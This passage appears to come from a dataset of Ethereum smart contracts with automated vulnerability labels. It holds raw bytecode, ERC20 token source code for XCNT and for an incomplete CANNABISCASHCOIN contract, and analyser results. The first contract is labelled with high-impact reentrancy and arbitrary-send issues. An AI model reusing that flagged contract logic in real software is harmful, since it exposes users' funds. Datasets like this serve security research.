544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106d0565b6017546001600160a01b0383811691161480159061123e57506015546001600160a01b03838116911614155b801561125357506001600160a01b0382163014155b801561126a57506001600160a01b03821661dead14155b15611331576018548111156112c15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106d0565b601954816112ce846108e4565b6112d8919061200f565b106113315760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106d0565b600061133c306108e4565b601a54909150811180801561135b5750601754600160a81b900460ff16155b801561137557506017546001600160a01b03868116911614155b801561138a5750601754600160b01b900460ff165b80156113af57506001600160a01b03851660009081526006602052604090205460ff16155b80156113d457506001600160a01b03841660009081526006602052604090205460ff16155b15611434576011546000901561140f5761140460646113fe601154866117ff90919063ffffffff16565b90611881565b905061140f816118c3565b61142161141c8285612027565b611685565b47801561143157611431476115c7565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061147957506001600160a01b03831660009081526006602052604090205460ff165b806114ab57506017546001600160a01b038581169116148015906114ab57506017546001600160a01b03848116911614155b156114b85750600061157b565b6017546001600160a01b0385811691161480156114e357506016546001600160a01b03848116911614155b1561153e576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a54900361153e576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561156957506016546001600160a01b03858116911614155b1561157b57600d54600f55600e546010555b611587848484846118d0565b50505050565b600081848411156115b15760405162461bcd60e51b81526004016106d09190611cdc565b5060006115be8486612027565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610741573d6000803e3d6000fd5b60006007548211156116685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d0565b6000611672611904565b905061167e8382611881565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106116cd576116cd611f86565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174a9190611fcb565b8160018151811061175d5761175d611f86565b6001600160a01b0392831660209182029290920101526016546117839130911684610dbd565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906117bc90859060009086903090429060040161203e565b600060405180830381600087803b1580156117d657600080fd5b505af11580156117ea573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b60008260000361181157506000610637565b600061181d83856120af565b90508261182a85836120ce565b1461167e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d0565b600061167e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611927565b6107b13061dead83610ee1565b806118dd576118dd611955565b6118e884848461199a565b8061158757611587601254600f55601354601055601454601155565b6000806000611911611a91565b90925090506119208282611881565b9250505090565b600081836119485760405162461bcd60e51b81526004016106d09190611cdc565b5060006115be84866120ce565b600f541580156119655750601054155b80156119715750601154155b1561197857565b600f805460125560108054601355601180546014556000928390559082905555565b6000806000806000806119ac87611ad1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119de9087611b2e565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611a0d9086611b70565b6001600160a01b038916600090815260026020526040902055611a2f81611bcf565b611a398483611c19565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a7e91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611aac8282611881565b821015611ac857505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611aee8a600f54601054611c3d565b9250925092506000611afe611904565b90506000806000611b118e878787611c8c565b919e509c509a509598509396509194505050505091939550919395565b600061167e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061158d565b600080611b7d838561200f565b90508381101561167e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d0565b6000611bd9611904565b90506000611be783836117ff565b30600090815260026020526040902054909150611c049082611b70565b30600090815260026020526040902055505050565b600754611c269083611b2e565b600755600854611c369082611b70565b6008555050565b6000808080611c5160646113fe89896117ff565b90506000611c6460646113fe8a896117ff565b90506000611c7c82611c768b86611b2e565b90611b2e565b9992985090965090945050505050565b6000808080611c9b88866117ff565b90506000611ca988876117ff565b90506000611cb788886117ff565b90506000611cc982611c768686611b2e565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611d0957858101830151858201604001528201611ced565b81811115611d1b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107b157600080fd5b8035611d5181611d31565b919050565b60008060408385031215611d6957600080fd5b8235611d7481611d31565b946020939093013593505050565b600060208284031215611d9457600080fd5b813561167e81611d31565b600080600060608486031215611db457600080fd5b8335611dbf81611d31565b92506020840135611dcf81611d31565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611e0957600080fd5b823567ffffffffffffffff80821115611e2157600080fd5b818501915085601f830112611e3557600080fd5b813581811115611e4757611e47611de0565b8060051b604051601f19603f83011681018181108582111715611e6c57611e6c611de0565b604052918252848201925083810185019188831115611e8a57600080fd5b938501935b82851015611eaf57611ea085611d46565b84529385019392850192611e8f565b98975050505050505050565b60008060408385031215611ece57600080fd5b50508035926020909101359150565b600060208284031215611eef57600080fd5b5035919050565b600060208284031215611f0857600080fd5b8135801515811461167e57600080fd5b60008060408385031215611f2b57600080fd5b8235611f3681611d31565b91506020830135611f4681611d31565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611fc457611fc4611f9c565b5060010190565b600060208284031215611fdd57600080fd5b815161167e81611d31565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b6000821982111561202257612022611f9c565b500190565b60008282101561203957612039611f9c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208e5784516001600160a01b031683529383019391830191600101612069565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156120c9576120c9611f9c565b500290565b6000826120eb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ccd8dd2797be5c686602190444e70ad54b65b77a622a3ff7914a5bcdf8e43a0064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,822
0x4a5c0f28d459cc0fb860f946fffabd8a36d4327c
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } //ERC20 Token /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract XCNTToken is BurnableToken, Ownable { string public constant name = "Connect"; string public constant symbol = "XCNT"; uint public constant decimals = 18; uint256 public constant initialSupply = 25000000 * (10 ** uint256(decimals)); // Constructor function XCNTToken() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce56714610285578063378dc3dc146102b057806342966c68146102db578063661884631461030857806370a082311461036d5780638da5cb5b146103c457806395d89b411461041b578063a9059cbb146104ab578063d73dd62314610510578063dd62ed3e14610575578063f2fde38b146105ec575b600080fd5b3480156100ec57600080fd5b506100f561062f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610668565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61075a565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610b1f565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610b24565b6040518082815260200191505060405180910390f35b3480156102e757600080fd5b5061030660048036038101908080359060200190929190505050610b32565b005b34801561031457600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c95565b604051808215151515815260200191505060405180910390f35b34801561037957600080fd5b506103ae600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f26565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b506103d9610f6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042757600080fd5b50610430610f95565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610470578082015181840152602081019050610455565b50505050905090810190601f16801561049d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b757600080fd5b506104f6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fce565b604051808215151515815260200191505060405180910390f35b34801561051c57600080fd5b5061055b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111f2565b604051808215151515815260200191505060405180910390f35b34801561058157600080fd5b506105d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ee565b6040518082815260200191505060405180910390f35b3480156105f857600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611475565b005b6040805190810160405280600781526020017f436f6e6e6563740000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079d57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107eb57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087657600080fd5b6108c882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cd90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a2f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6012600a0a63017d78400281565b60008082111515610b4257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b9057600080fd5b339050610be582600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cd90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3d826000546115cd90919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610da6576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3a565b610db983826115cd90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f58434e540000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561100b57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561105957600080fd5b6110ab82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cd90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061114082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061128382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561150d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156115db57fe5b818303905092915050565b60008082840190508381101515156115fa57fe5b80915050929150505600a165627a7a7230582003eee77d2156a1e0ef2e78c49b2d64415629966656d6b2d7f05214a67f1299a60029
{"success": true, "error": null, "results": {}}
8,823
0xadb2b96b1858be13d178b0dd5200a50ae042cbd0
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // ---------------------------------------------------------------------------- // 'CCCO' token contract // // Symbol : CCCO // Name : CANNABISCASHCOIN // Total supply: 111,000,000,000,000,000 111 quadrillion // Decimals : 18 // Owners Address 0x732D6Db0f3851797Ce06C71668e11a0cCCD6aB7E // MINTING WILL ONLY BE USED ONE TIME TO TRANSFER TOKENS TO THE OWNERS OF CANNABISCASHCOIN! (VIA INITIAL CONTRACT) NO OTHER FORM OF MINTING WILL OCCUR! // CANNABISCASHCOIN WILL BURN FIVE-HUNDRED TRILLION TOKENS FOR FIVE YEARS. 12/31/2022, 12/31/2023, 12/31/2024, 12/31/2025 12/31/2026 NO OTHER BURNS WILL OCCUR! // ---------------------------------------------------------------------------- /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); // * This value changes when {approve} or {transfer} functions are called. function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = _msgSender(); emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ /** * - Name CANNABISCASHCOIN - Symbol (ex: CCCO) - Decimals (18) - Owners Address 0x732D6Db0f3851797Ce06C71668e11a0cCCD6aB7E * */ contract CANNABISCASHCOIN is Context, IERC20, IERC20Metadata, Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ // MINTING WILL ONLY BE USED ONE TIME TO TRANSFER TOKENS TO THE OWNERS OF CANNABISCASHCOIN! NO OTHER FORM OF MINTING WILL OCCUR! constructor () { _name = "CANNABISCASHCOIN"; _symbol = "CCCO "; _totalSupply; _mint(owner(), 111000000000000000 * 10 ** (decimals()) ); // 111 Quadrillion } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { 